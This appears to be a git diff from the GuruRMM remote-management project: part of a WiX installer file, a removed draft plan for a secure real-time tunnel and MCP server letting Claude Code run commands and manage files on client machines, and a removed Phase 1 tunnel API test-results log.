<StandardDirectory Id="CommonAppDataFolder">
|
||||
<Directory Id="DATAFOLDER" Name="GuruRMM" />
|
||||
</StandardDirectory>
|
||||
|
||||
<ComponentGroup Id="AgentComponents" Directory="INSTALLFOLDER">
|
||||
<Component Id="AgentExe" Guid="9b3a6b4f-b6e6-4baf-9dfa-4c6a67cff11c">
|
||||
<File Id="AgentExeFile"
|
||||
Source="src\gururmm-agent.exe"
|
||||
Name="gururmm-agent.exe"
|
||||
KeyPath="yes" />
|
||||
</Component>
|
||||
</ComponentGroup>
|
||||
|
||||
<!-- ProgramData GuruRMM folder (created empty; agent populates config + logs) -->
|
||||
<ComponentGroup Id="DataDirComponents" Directory="DATAFOLDER">
|
||||
<Component Id="DataDir" Guid="3f2b51c7-9e22-4c11-94d6-f1e6a9e4d8a0" KeyPath="yes">
|
||||
<CreateFolder />
|
||||
</Component>
|
||||
</ComponentGroup>
|
||||
|
||||
<Feature Id="MainFeature" Title="GuruRMM Agent" Level="1" AllowAbsent="no">
|
||||
<ComponentGroupRef Id="AgentComponents" />
|
||||
<ComponentGroupRef Id="DataDirComponents" />
|
||||
</Feature>
|
||||
|
||||
</Package>
|
||||
</Wix>
|
||||
@@ -1,674 +0,0 @@
|
||||
# GuruRMM Real-Time Tunnel Architecture Plan
|
||||
|
||||
**Date:** 2026-04-13
|
||||
**Status:** DRAFT - Pending approval
|
||||
**Goal:** Enable Claude Code on tech workstation to execute commands on remote machines through secure tunnel
|
||||
|
||||
---
|
||||
|
||||
## Executive Summary
|
||||
|
||||
This plan designs a real-time tunnel feature that transforms GuruRMM agents from periodic check-in mode (30-second heartbeats) to persistent tunnel mode when a tech opens a background session. The tunnel will support multiplexed channels for terminal access, filesystem operations, registry editor, and services management, accessible to Claude Code running on the tech's workstation.
|
||||
|
||||
---
|
||||
|
||||
## Current Architecture (Discovered)
|
||||
|
||||
### Server (172.16.3.30:3001)
|
||||
- **Framework:** Axum 0.7 with Tokio async runtime
|
||||
- **WebSocket endpoint:** wss://rmm-api.azcomputerguru.com/ws
|
||||
- **Connection registry:** `AgentConnections` HashMap tracking active WebSocket connections
|
||||
- **Message routing:** mpsc channels with dual-channel pattern (protocol messages + WebSocket Pong frames)
|
||||
- **Protocol:** Tagged JSON enums with serde (ServerMessage/AgentMessage)
|
||||
|
||||
### Agent
|
||||
- **Runtime:** Tokio async with multiple concurrent tasks
|
||||
- **Heartbeat interval:** 30 seconds (confirmed in code)
|
||||
- **Concurrent tasks:** 3 sender tasks (metrics: 60s, network: 30s, heartbeat: 30s)
|
||||
- **Inactivity timeout:** 90 seconds
|
||||
- **Reconnect backoff:** 10 seconds
|
||||
|
||||
### Existing Protocol
|
||||
```rust
|
||||
// Server → Agent
|
||||
enum ServerMessage {
|
||||
AuthAck(AuthAckPayload),
|
||||
Command(CommandPayload),
|
||||
ConfigUpdate(serde_json::Value),
|
||||
Update(UpdatePayload),
|
||||
Ack { message_id: Option<String> },
|
||||
Error { code: String, message: String },
|
||||
}
|
||||
|
||||
// Agent → Server
|
||||
enum AgentMessage {
|
||||
Auth(AuthPayload),
|
||||
Heartbeat,
|
||||
CommandResult(CommandResultPayload),
|
||||
MetricsData(MetricsPayload),
|
||||
NetworkData(NetworkPayload),
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Architectural Decisions
|
||||
|
||||
### 1. Tunnel Lifecycle: On-Demand with Persistent Connection
|
||||
|
||||
**Decision:** Hybrid approach - WebSocket stays persistent, tunnel mode is a state change
|
||||
|
||||
**Rationale:**
|
||||
- Existing architecture already maintains persistent WebSocket connections
|
||||
- Heartbeat mode and tunnel mode are operational states, not connection states
|
||||
- On-demand tunnel activation avoids resource waste
|
||||
- Persistent WebSocket enables instant mode switching
|
||||
|
||||
**Implementation:**
|
||||
```rust
|
||||
enum AgentMode {
|
||||
Heartbeat, // Default: 30-second heartbeats, metrics, network monitoring
|
||||
Tunnel { // Active session mode
|
||||
session_id: String,
|
||||
tech_id: i32,
|
||||
channels: HashMap<String, ChannelType>,
|
||||
},
|
||||
}
|
||||
```
|
||||
|
||||
### 2. Channel Multiplexing: Unified Protocol with Channel ID Routing
|
||||
|
||||
**Decision:** Single WebSocket, multiple logical channels, channel_id field for routing
|
||||
|
||||
**Rationale:**
|
||||
- Maintains single WebSocket connection (simpler firewall rules, NAT traversal)
|
||||
- Channel IDs enable concurrent operations (multiple terminals, simultaneous file transfers)
|
||||
- Fits naturally into existing tagged enum protocol
|
||||
- Allows adding new channel types without protocol changes
|
||||
|
||||
**Protocol Extension:**
|
||||
```rust
|
||||
// New message types
|
||||
enum ServerMessage {
|
||||
// ... existing messages ...
|
||||
TunnelOpen { session_id: String, tech_id: i32 },
|
||||
TunnelClose { session_id: String },
|
||||
TunnelData { channel_id: String, data: TunnelDataPayload },
|
||||
}
|
||||
|
||||
enum AgentMessage {
|
||||
// ... existing messages ...
|
||||
TunnelReady { session_id: String },
|
||||
TunnelData { channel_id: String, data: TunnelDataPayload },
|
||||
TunnelError { channel_id: String, error: String },
|
||||
}
|
||||
|
||||
#[serde(tag = "type", content = "payload")]
|
||||
enum TunnelDataPayload {
|
||||
Terminal { command: String },
|
||||
TerminalOutput { stdout: String, stderr: String, exit_code: Option<i32> },
|
||||
FileRead { path: String },
|
||||
FileContent { content: Vec<u8>, mime_type: String },
|
||||
FileWrite { path: String, content: Vec<u8> },
|
||||
FileList { path: String },
|
||||
FileListResult { entries: Vec<FileEntry> },
|
||||
RegistryRead { path: String, value_name: Option<String> },
|
||||
RegistryWrite { path: String, value_name: String, value: RegistryValue },
|
||||
ServiceList,
|
||||
ServiceControl { name: String, action: ServiceAction },
|
||||
}
|
||||
```
|
||||
|
||||
### 3. Claude Integration: Custom MCP Server
|
||||
|
||||
**Decision:** Build GuruRMM MCP server that provides remote execution tools
|
||||
|
||||
**Rationale:**
|
||||
- MCP is Claude's native integration protocol
|
||||
- Provides fine-grained tool permissions (user can approve specific operations)
|
||||
- Tools appear naturally in Claude's tool list
|
||||
- Can reuse existing API authentication (JWT tokens)
|
||||
- Server can enforce rate limiting and audit logging
|
||||
|
||||
**MCP Tools:**
|
||||
```typescript
|
||||
// MCP Server tools
|
||||
{
|
||||
"run_remote_command": {
|
||||
"agent_id": "string",
|
||||
"command": "string",
|
||||
"shell": "powershell|cmd|bash",
|
||||
"working_dir": "string",
|
||||
"timeout": "number"
|
||||
},
|
||||
"read_remote_file": {
|
||||
"agent_id": "string",
|
||||
"path": "string"
|
||||
},
|
||||
"write_remote_file": {
|
||||
"agent_id": "string",
|
||||
"path": "string",
|
||||
"content": "string"
|
||||
},
|
||||
"list_remote_directory": {
|
||||
"agent_id": "string",
|
||||
"path": "string"
|
||||
},
|
||||
"get_remote_services": {
|
||||
"agent_id": "string",
|
||||
"filter": "string"
|
||||
},
|
||||
"control_remote_service": {
|
||||
"agent_id": "string",
|
||||
"service_name": "string",
|
||||
"action": "start|stop|restart"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 4. File Operations: Hybrid Approach
|
||||
|
||||
**Decision:** Dedicated file endpoints for binary/large files, PowerShell for metadata
|
||||
|
||||
**Rationale:**
|
||||
- Binary files (executables, images) need raw byte transfer
|
||||
- Text files and metadata operations can use PowerShell (simpler, reuses existing command execution)
|
||||
- Chunked transfer for large files (prevents WebSocket message size limits)
|
||||
- Base64 encoding for binary data over JSON protocol
|
||||
|
||||
**Implementation:**
|
||||
- Files < 1MB: Direct transfer via TunnelData.FileContent
|
||||
- Files > 1MB: Chunked transfer with transfer_id for reassembly
|
||||
- PowerShell used for: directory listings, file metadata, permissions, ACLs
|
||||
|
||||
### 5. Security Model
|
||||
|
||||
**Decision:** Three-layer security: JWT auth, session authorization, command validation
|
||||
|
||||
**Layer 1: JWT Authentication**
|
||||
- Tech authenticates to server with credentials
|
||||
- Server issues JWT with tech_id, permissions, expiration
|
||||
- MCP server includes JWT in all tunnel requests
|
||||
|
||||
**Layer 2: Session Authorization**
|
||||
- Database tracks: tech_sessions table (tech_id, agent_id, session_id, opened_at)
|
||||
- Server validates: JWT valid + session exists + tech owns session
|
||||
- Sessions auto-expire after 4 hours of inactivity
|
||||
|
||||
**Layer 3: Command Validation**
|
||||
- Agent-side working directory restrictions (configurable per agent)
|
||||
- Server-side command sanitization (prevent injection)
|
||||
- Rate limiting: 100 commands per minute per tech per agent
|
||||
- Audit logging: All tunnel operations logged to database
|
||||
|
||||
---
|
||||
|
||||
## Implementation Plan
|
||||
|
||||
### Phase 1: Core Tunnel Infrastructure (Week 1)
|
||||
|
||||
**Goal:** Establish tunnel mode switching and channel routing
|
||||
|
||||
**Server changes:**
|
||||
1. Add `TunnelOpen`, `TunnelClose`, `TunnelData` to ServerMessage enum
|
||||
2. Create `tech_sessions` table (id, tech_id, agent_id, session_id, opened_at, last_activity)
|
||||
3. Implement tunnel session lifecycle endpoints:
|
||||
- `POST /api/v1/tunnel/open` - Create session, send TunnelOpen to agent
|
||||
- `POST /api/v1/tunnel/close` - Send TunnelClose, delete session
|
||||
- `GET /api/v1/tunnel/status/:session_id` - Check tunnel health
|
||||
4. Add channel routing logic in WebSocket handler (route by channel_id)
|
||||
5. Implement session validation middleware (JWT + session ownership)
|
||||
|
||||
**Agent changes:**
|
||||
1. Add `TunnelReady`, `TunnelData`, `TunnelError` to AgentMessage enum
|
||||
2. Implement AgentMode state machine (Heartbeat ↔ Tunnel transitions)
|
||||
3. Add channel manager (HashMap<channel_id, ChannelHandler>)
|
||||
4. Respond to TunnelOpen with TunnelReady confirmation
|
||||
5. Handle TunnelClose gracefully (cleanup channels, return to heartbeat mode)
|
||||
|
||||
**Testing:**
|
||||
- Tech can open tunnel session via API
|
||||
- Agent switches to tunnel mode
|
||||
- Agent returns to heartbeat mode when session closes
|
||||
- Concurrent sessions rejected (one tunnel per agent)
|
||||
|
||||
### Phase 2: Terminal Channel (Week 2)
|
||||
|
||||
**Goal:** Execute PowerShell/cmd/bash commands through tunnel
|
||||
|
||||
**Implementation:**
|
||||
1. Create `TerminalChannel` handler on agent
|
||||
- Spawn child process (powershell.exe, cmd.exe, or bash)
|
||||
- Capture stdout/stderr streams
|
||||
- Handle exit codes and timeouts
|
||||
2. Implement TunnelDataPayload::Terminal on server
|
||||
3. Add working directory validation on agent
|
||||
4. Add command result streaming (chunked output for long-running commands)
|
||||
|
||||
**API endpoint:**
|
||||
```
|
||||
POST /api/v1/tunnel/:session_id/command
|
||||
Body: {
|
||||
"command": "Get-Process | Where-Object CPU -gt 10",
|
||||
"shell": "powershell",
|
||||
"working_dir": "C:\\Shares\\test",
|
||||
"timeout": 30000
|
||||
}
|
||||
Response: {
|
||||
"stdout": "...",
|
||||
"stderr": "...",
|
||||
"exit_code": 0,
|
||||
"duration_ms": 1234
|
||||
}
|
||||
```
|
||||
|
||||
**Testing:**
|
||||
- Execute simple PowerShell command (Get-Date)
|
||||
- Execute long-running command (Sleep 10)
|
||||
- Test timeout enforcement
|
||||
- Verify working directory restriction
|
||||
- Test concurrent commands (multiple channel IDs)
|
||||
|
||||
### Phase 3: File Operations (Week 3)
|
||||
|
||||
**Goal:** Read, write, list files through tunnel
|
||||
|
||||
**Implementation:**
|
||||
1. Create `FileChannel` handler on agent
|
||||
- Read file: fs::read, base64 encode if binary
|
||||
- Write file: base64 decode, fs::write with backup
|
||||
- List directory: fs::read_dir with metadata
|
||||
2. Implement chunked transfer for files > 1MB
|
||||
3. Add MIME type detection (read first bytes, use magic numbers)
|
||||
4. Implement transfer_id tracking for multi-chunk uploads/downloads
|
||||
|
||||
**API endpoints:**
|
||||
```
|
||||
GET /api/v1/tunnel/:session_id/file?path=C:\logs\app.log
|
||||
PUT /api/v1/tunnel/:session_id/file?path=C:\config\app.json
|
||||
POST /api/v1/tunnel/:session_id/file/list?path=C:\Shares
|
||||
```
|
||||
|
||||
**Testing:**
|
||||
- Read small text file (< 1KB)
|
||||
- Read large binary file (> 5MB, verify chunking)
|
||||
- Write configuration file
|
||||
- List directory with 100+ files
|
||||
- Verify file permissions respected
|
||||
|
||||
### Phase 4: MCP Server Integration (Week 4)
|
||||
|
||||
**Goal:** Expose tunnel operations as MCP tools for Claude Code
|
||||
|
||||
**Implementation:**
|
||||
1. Create new Rust project: `gururmm-mcp-server`
|
||||
2. Use `mcp-server-rs` crate for MCP protocol
|
||||
3. Implement 6 core tools (run_command, read_file, write_file, list_dir, get_services, control_service)
|
||||
4. Add JWT token configuration (user provides token from GuruRMM web UI)
|
||||
5. Build tunnel session manager (open session on first tool use, keep alive, close on idle)
|
||||
6. Add tool result formatting (pretty-print PowerShell objects, syntax highlight code)
|
||||
|
||||
**MCP server config:**
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"gururmm": {
|
||||
"command": "gururmm-mcp-server",
|
||||
"args": [],
|
||||
"env": {
|
||||
"GURURMM_API_URL": "http://172.16.3.30:3001",
|
||||
"GURURMM_AUTH_TOKEN": "jwt-token-here"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Testing:**
|
||||
- Claude Code can list available agents
|
||||
- Claude Code can execute command on remote agent
|
||||
- Claude Code can read/write files on remote agent
|
||||
- Session auto-closes after 5 minutes idle
|
||||
- Rate limiting enforced (100 commands/min)
|
||||
|
||||
### Phase 5: Advanced Features (Week 5+)
|
||||
|
||||
**Registry Operations:**
|
||||
- Add RegistryChannel handler (Windows-only)
|
||||
- Use winreg crate for safe registry access
|
||||
- Support HKLM, HKCU, read/write/delete operations
|
||||
|
||||
**Service Management:**
|
||||
- Add ServiceChannel handler (cross-platform)
|
||||
- Windows: use sc.exe or WMI
|
||||
- Linux: use systemctl
|
||||
- List services, start/stop/restart, get status
|
||||
|
||||
**Interactive Terminal (Stretch Goal):**
|
||||
- WebSocket-based PTY (pseudo-terminal)
|
||||
- Bidirectional streaming (stdin → agent → process, stdout/stderr → agent → server)
|
||||
- Support for interactive programs (vim, top, htop)
|
||||
- Terminal emulation (xterm compatibility)
|
||||
|
||||
---
|
||||
|
||||
## Database Schema Changes
|
||||
|
||||
### New Tables
|
||||
|
||||
```sql
|
||||
-- Tunnel sessions
|
||||
CREATE TABLE tech_sessions (
|
||||
id SERIAL PRIMARY KEY,
|
||||
session_id VARCHAR(36) UNIQUE NOT NULL,
|
||||
tech_id INTEGER NOT NULL REFERENCES techs(id),
|
||||
agent_id INTEGER NOT NULL REFERENCES agents(id),
|
||||
opened_at TIMESTAMP NOT NULL DEFAULT NOW(),
|
||||
last_activity TIMESTAMP NOT NULL DEFAULT NOW(),
|
||||
closed_at TIMESTAMP,
|
||||
status VARCHAR(20) NOT NULL DEFAULT 'active',
|
||||
UNIQUE(tech_id, agent_id, status) WHERE status = 'active'
|
||||
);
|
||||
|
||||
-- Tunnel audit log
|
||||
CREATE TABLE tunnel_audit (
|
||||
id SERIAL PRIMARY KEY,
|
||||
session_id VARCHAR(36) NOT NULL REFERENCES tech_sessions(session_id),
|
||||
channel_id VARCHAR(36) NOT NULL,
|
||||
operation VARCHAR(50) NOT NULL,
|
||||
details JSONB,
|
||||
created_at TIMESTAMP NOT NULL DEFAULT NOW()
|
||||
);
|
||||
|
||||
-- Indexes
|
||||
CREATE INDEX idx_tech_sessions_tech ON tech_sessions(tech_id);
|
||||
CREATE INDEX idx_tech_sessions_agent ON tech_sessions(agent_id);
|
||||
CREATE INDEX idx_tech_sessions_status ON tech_sessions(status);
|
||||
CREATE INDEX idx_tunnel_audit_session ON tunnel_audit(session_id);
|
||||
CREATE INDEX idx_tunnel_audit_created ON tunnel_audit(created_at);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Security Considerations
|
||||
|
||||
### Working Directory Restrictions
|
||||
- Agent config file specifies allowed paths: `allowed_paths: ["C:\\Shares", "C:\\Temp"]`
|
||||
- All file operations validated against allowlist
|
||||
- Path traversal attacks prevented (reject `..`, absolute path validation)
|
||||
|
||||
### Rate Limiting
|
||||
- Server enforces: 100 commands per minute per tech per agent
|
||||
- Sliding window implementation (Redis or in-memory)
|
||||
- 429 Too Many Requests response on limit exceeded
|
||||
- Audit log tracks rate limit violations
|
||||
|
||||
### Command Injection Prevention
|
||||
- Agent uses tokio::process::Command (no shell expansion)
|
||||
- PowerShell commands wrapped in `-NoProfile -NonInteractive -Command`
|
||||
- Input sanitization: reject backticks, escape quotes
|
||||
- Timeout enforcement: kill process after timeout
|
||||
|
||||
### Session Management
|
||||
- JWT tokens expire after 24 hours
|
||||
- Sessions auto-expire after 4 hours inactivity
|
||||
- Force-close endpoint for admins: `DELETE /api/v1/tunnel/:session_id/force-close`
|
||||
- Concurrent session limit: 1 tunnel per agent (prevents session hijacking)
|
||||
|
||||
### Audit Logging
|
||||
- All tunnel operations logged to `tunnel_audit` table
|
||||
- Logged fields: session_id, channel_id, operation, details (command/path/etc), timestamp
|
||||
- Retention: 90 days (configurable)
|
||||
- Suspicious activity alerts: >50 failed commands in 5 minutes
|
||||
|
||||
---
|
||||
|
||||
## API Endpoints (New)
|
||||
|
||||
```
|
||||
POST /api/v1/tunnel/open
|
||||
Body: { "agent_id": 123 }
|
||||
Response: { "session_id": "uuid", "status": "active" }
|
||||
|
||||
POST /api/v1/tunnel/close
|
||||
Body: { "session_id": "uuid" }
|
||||
Response: { "status": "closed" }
|
||||
|
||||
GET /api/v1/tunnel/status/:session_id
|
||||
Response: { "session_id": "uuid", "agent_id": 123, "opened_at": "...", "last_activity": "..." }
|
||||
|
||||
POST /api/v1/tunnel/:session_id/command
|
||||
Body: { "command": "...", "shell": "powershell", "working_dir": "...", "timeout": 30000 }
|
||||
Response: { "stdout": "...", "stderr": "...", "exit_code": 0, "duration_ms": 1234 }
|
||||
|
||||
GET /api/v1/tunnel/:session_id/file?path=...
|
||||
Response: { "content": "base64...", "mime_type": "text/plain", "size": 1234 }
|
||||
|
||||
PUT /api/v1/tunnel/:session_id/file?path=...
|
||||
Body: { "content": "base64..." }
|
||||
Response: { "success": true, "path": "...", "size": 1234 }
|
||||
|
||||
POST /api/v1/tunnel/:session_id/file/list?path=...
|
||||
Response: { "entries": [{ "name": "...", "type": "file|dir", "size": 1234, "modified": "..." }] }
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## MCP Server Implementation
|
||||
|
||||
### Tool Definitions
|
||||
|
||||
```json
|
||||
{
|
||||
"tools": [
|
||||
{
|
||||
"name": "gururmm_run_command",
|
||||
"description": "Execute a command on a remote agent through GuruRMM tunnel",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"agent_id": { "type": "number", "description": "Agent ID to execute on" },
|
||||
"command": { "type": "string", "description": "Command to execute" },
|
||||
"shell": { "type": "string", "enum": ["powershell", "cmd", "bash"], "default": "powershell" },
|
||||
"working_dir": { "type": "string", "description": "Working directory (optional)" },
|
||||
"timeout": { "type": "number", "description": "Timeout in milliseconds", "default": 30000 }
|
||||
},
|
||||
"required": ["agent_id", "command"]
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "gururmm_read_file",
|
||||
"description": "Read a file from a remote agent",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"agent_id": { "type": "number" },
|
||||
"path": { "type": "string", "description": "Full path to file" }
|
||||
},
|
||||
"required": ["agent_id", "path"]
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "gururmm_write_file",
|
||||
"description": "Write a file to a remote agent",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"agent_id": { "type": "number" },
|
||||
"path": { "type": "string", "description": "Full path to file" },
|
||||
"content": { "type": "string", "description": "File content" }
|
||||
},
|
||||
"required": ["agent_id", "path", "content"]
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "gururmm_list_directory",
|
||||
"description": "List files in a directory on a remote agent",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"agent_id": { "type": "number" },
|
||||
"path": { "type": "string", "description": "Directory path" }
|
||||
},
|
||||
"required": ["agent_id", "path"]
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "gururmm_list_agents",
|
||||
"description": "List all available agents",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {},
|
||||
"required": []
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### Session Management
|
||||
|
||||
**Lifecycle:**
|
||||
1. First tool call triggers tunnel open (POST /api/v1/tunnel/open)
|
||||
2. MCP server caches session_id in memory
|
||||
3. Subsequent tool calls reuse session
|
||||
4. Idle timeout (5 minutes) triggers tunnel close
|
||||
5. MCP server can handle concurrent sessions to different agents
|
||||
|
||||
**Configuration:**
|
||||
- MCP server reads JWT token from environment variable
|
||||
- API URL configurable (default: http://172.16.3.30:3001)
|
||||
- Session timeout configurable (default: 5 minutes)
|
||||
|
||||
---
|
||||
|
||||
## Testing Strategy
|
||||
|
||||
### Unit Tests
|
||||
- Channel routing logic (correct channel receives message)
|
||||
- Session validation (JWT + ownership)
|
||||
- Command sanitization (injection prevention)
|
||||
- Path validation (traversal prevention)
|
||||
|
||||
### Integration Tests
|
||||
- Full tunnel lifecycle (open → command → close)
|
||||
- Concurrent sessions to different agents
|
||||
- Session timeout enforcement
|
||||
- Rate limiting triggers correctly
|
||||
|
||||
### End-to-End Tests
|
||||
- Claude Code MCP integration
|
||||
- Tech opens session via web UI, Claude executes command
|
||||
- File upload via MCP, verify on agent
|
||||
- Service restart via MCP, verify status change
|
||||
|
||||
---
|
||||
|
||||
## Rollout Plan
|
||||
|
||||
### Phase 1: Internal Testing (Week 5)
|
||||
- Deploy to test environment (172.16.3.30:3001)
|
||||
- Test with 2 agents (AD2, DESKTOP-0O8A1RL)
|
||||
- Tech team validates MCP integration
|
||||
- Load testing: 10 concurrent sessions, 100 commands/min
|
||||
|
||||
### Phase 2: Beta Release (Week 6)
|
||||
- Deploy to production (rmm-api.azcomputerguru.com)
|
||||
- Invite 3 beta techs (power users)
|
||||
- Monitor audit logs for issues
|
||||
- Gather feedback on MCP tool UX
|
||||
|
||||
### Phase 3: General Availability (Week 7)
|
||||
- Release to all techs
|
||||
- Documentation: MCP server setup guide
|
||||
- Training video: Claude Code + GuruRMM workflow
|
||||
- Monitor error rates, tunnel session count
|
||||
|
||||
---
|
||||
|
||||
## Risks and Mitigations
|
||||
|
||||
| Risk | Impact | Mitigation |
|
||||
|------|--------|------------|
|
||||
| Command injection allows arbitrary code execution | Critical | Input sanitization, no shell expansion, allowlist-based path validation |
|
||||
| Session hijacking via stolen JWT | High | Short-lived tokens (24h), session ownership validation, audit logging |
|
||||
| WebSocket connection instability | Medium | Auto-reconnect logic, session recovery on reconnect |
|
||||
| Rate limiting too strict (blocks legitimate use) | Medium | Configurable limits per tech, burst allowance, user feedback |
|
||||
| File transfer timeouts on large files | Medium | Chunked transfer, resumable uploads |
|
||||
| MCP server crashes (techs lose access) | Medium | Supervisor/systemd auto-restart, health check endpoint |
|
||||
|
||||
---
|
||||
|
||||
## Open Questions
|
||||
|
||||
1. **Registry operations scope**: Full registry access or restrict to specific hives (HKLM\Software, HKCU)?
|
||||
2. **Interactive terminal priority**: High demand or defer to Phase 6?
|
||||
3. **Multi-tech sessions**: Should multiple techs be able to share a session (pair programming)?
|
||||
4. **Credential storage**: Should MCP server support credential manager integration (1Password, Windows Credential Manager)?
|
||||
5. **Agent-side logging**: Should agent log tunnel operations locally (compliance requirement)?
|
||||
|
||||
---
|
||||
|
||||
## Success Metrics
|
||||
|
||||
**Phase 1-2 (Infrastructure):**
|
||||
- 95% tunnel open success rate
|
||||
- <500ms average command response time (non-blocking)
|
||||
- Zero session conflicts (concurrent tunnel per agent)
|
||||
|
||||
**Phase 3-4 (MCP Integration):**
|
||||
- 80% of techs using MCP tools within 2 weeks
|
||||
- >50 tunnel sessions per day
|
||||
- <5% command error rate (excluding user errors)
|
||||
|
||||
**Phase 5+ (Adoption):**
|
||||
- 20% reduction in remote desktop sessions (techs use tunnel instead)
|
||||
- 90% tech satisfaction rating (survey)
|
||||
- <1% security incidents related to tunnel misuse
|
||||
|
||||
---
|
||||
|
||||
## Dependencies
|
||||
|
||||
**Server:**
|
||||
- Axum 0.7 (existing)
|
||||
- PostgreSQL (existing)
|
||||
- JWT library (existing)
|
||||
- tokio-tungstenite for WebSocket (existing)
|
||||
|
||||
**Agent:**
|
||||
- tokio 1.x (existing)
|
||||
- serde/serde_json (existing)
|
||||
- base64 crate (for file encoding)
|
||||
- winreg crate (Windows registry, Phase 5)
|
||||
|
||||
**MCP Server:**
|
||||
- mcp-server-rs crate (new dependency)
|
||||
- reqwest for HTTP client (new)
|
||||
- tokio runtime (new)
|
||||
|
||||
**Infrastructure:**
|
||||
- No new servers required (runs on existing 172.16.3.30)
|
||||
- Cloudflare tunnel already configured
|
||||
- Database migrations automated (existing CI/CD)
|
||||
|
||||
---
|
||||
|
||||
## Next Steps After Approval
|
||||
|
||||
1. Create feature branch: `feature/real-time-tunnel`
|
||||
2. Implement Phase 1 database migrations
|
||||
3. Update protocol definitions (ServerMessage/AgentMessage enums)
|
||||
4. Create tech_sessions table
|
||||
5. Implement tunnel open/close endpoints
|
||||
6. Update agent to handle TunnelOpen message
|
||||
7. Write unit tests for session validation
|
||||
8. Deploy to test environment for validation
|
||||
|
||||
**Estimated timeline:** 5 weeks to MCP integration, 6-7 weeks to GA
|
||||
|
||||
---
|
||||
|
||||
**Status:** READY FOR REVIEW
|
||||
**Reviewer:** User approval required
|
||||
**Questions:** See "Open Questions" section above
|
||||
@@ -1,172 +0,0 @@
|
||||
# GuruRMM Tunnel API - Phase 1 Test Results
|
||||
**Date:** 2026-04-14
|
||||
**Server:** http://172.16.3.30:3001
|
||||
**Tester:** Claude Code
|
||||
|
||||
## Test Environment
|
||||
- Server: GuruRMM API v0.6.0 (Rust/Axum)
|
||||
- Database: PostgreSQL 14 @ localhost
|
||||
- Authentication: JWT Bearer tokens
|
||||
- Test User: claude-api@azcomputerguru.com (admin role)
|
||||
|
||||
## Database Schema Verification
|
||||
|
||||
### tech_sessions table
|
||||
```
|
||||
Columns:
|
||||
- id (serial primary key)
|
||||
- session_id (varchar(36), unique)
|
||||
- tech_id (uuid, FK -> users.id)
|
||||
- agent_id (uuid, FK -> agents.id)
|
||||
- opened_at (timestamptz, default now())
|
||||
- last_activity (timestamptz, default now())
|
||||
- closed_at (timestamptz, nullable)
|
||||
- status (varchar(20), default 'active')
|
||||
|
||||
Indexes:
|
||||
- Primary key on id
|
||||
- Unique on session_id
|
||||
- Unique partial index: (tech_id, agent_id, status) WHERE status='active'
|
||||
- Indexes on: agent_id, tech_id, status
|
||||
|
||||
Foreign Keys:
|
||||
- tech_id -> users(id) ON DELETE CASCADE
|
||||
- agent_id -> agents(id) ON DELETE CASCADE
|
||||
```
|
||||
|
||||
### tunnel_audit table
|
||||
```
|
||||
Columns:
|
||||
- id (bigserial primary key)
|
||||
- session_id (varchar(36), FK -> tech_sessions.session_id)
|
||||
- channel_id (varchar(36))
|
||||
- operation (varchar(50))
|
||||
- details (jsonb)
|
||||
- created_at (timestamptz, default now())
|
||||
|
||||
Indexes:
|
||||
- Primary key on id
|
||||
- Index on session_id
|
||||
- Index on created_at
|
||||
|
||||
Foreign Keys:
|
||||
- session_id -> tech_sessions(session_id) ON DELETE CASCADE
|
||||
```
|
||||
|
||||
## API Endpoint Tests
|
||||
|
||||
### 1. Authentication
|
||||
**Endpoint:** POST /api/auth/login
|
||||
**Test:** Valid credentials
|
||||
- Status: [OK] 200 OK
|
||||
- Response: JWT token + user object
|
||||
- Token expiry: 24 hours
|
||||
|
||||
### 2. POST /api/v1/tunnel/open
|
||||
**Purpose:** Open a new tunnel session to an agent
|
||||
|
||||
#### Test 2.1: Invalid agent_id format
|
||||
- Request: `{"agent_id":"invalid-uuid"}`
|
||||
- Expected: 400 Bad Request
|
||||
- Result: [OK] 400 Bad Request
|
||||
- Message: "Invalid agent_id format"
|
||||
|
||||
#### Test 2.2: Agent not connected
|
||||
- Request: `{"agent_id":"6177bcac-e046-4166-ac76-a6db68a363ab"}`
|
||||
- Expected: 404 Not Found
|
||||
- Result: [OK] 404 Not Found
|
||||
- Message: "Agent not connected"
|
||||
|
||||
#### Test 2.3: Unauthorized access (no token)
|
||||
- Request: No Authorization header
|
||||
- Expected: 401 Unauthorized
|
||||
- Result: [OK] 401 Unauthorized
|
||||
|
||||
### 3. GET /api/v1/tunnel/status/:session_id
|
||||
**Purpose:** Get tunnel session status
|
||||
|
||||
#### Test 3.1: Invalid session_id format
|
||||
- Request: GET /api/v1/tunnel/status/invalid-uuid
|
||||
- Expected: 400 Bad Request
|
||||
- Result: [OK] 400 Bad Request
|
||||
- Message: "Invalid session_id format"
|
||||
|
||||
#### Test 3.2: Non-existent session
|
||||
- Request: GET /api/v1/tunnel/status/00000000-0000-0000-0000-000000000000
|
||||
- Expected: 403 Forbidden
|
||||
- Result: [OK] 403 Forbidden
|
||||
- Message: "Session not found or not owned by user"
|
||||
|
||||
### 4. POST /api/v1/tunnel/close
|
||||
**Purpose:** Close an existing tunnel session
|
||||
|
||||
#### Test 4.1: Invalid session_id format
|
||||
- Request: `{"session_id":"invalid-uuid"}`
|
||||
- Expected: 400 Bad Request
|
||||
- Result: [OK] 400 Bad Request
|
||||
- Message: "Invalid session_id format"
|
||||
|
||||
#### Test 4.2: Non-existent session
|
||||
- Request: `{"session_id":"00000000-0000-0000-0000-000000000000"}`
|
||||
- Expected: 403 Forbidden
|
||||
- Result: [OK] 403 Forbidden
|
||||
- Message: "Session not found or not owned by user"
|
||||
|
||||
## Connected Agents
|
||||
Total agents registered: 6
|
||||
Online agents: 0 (all offline at test time)
|
||||
|
||||
Sample agents:
|
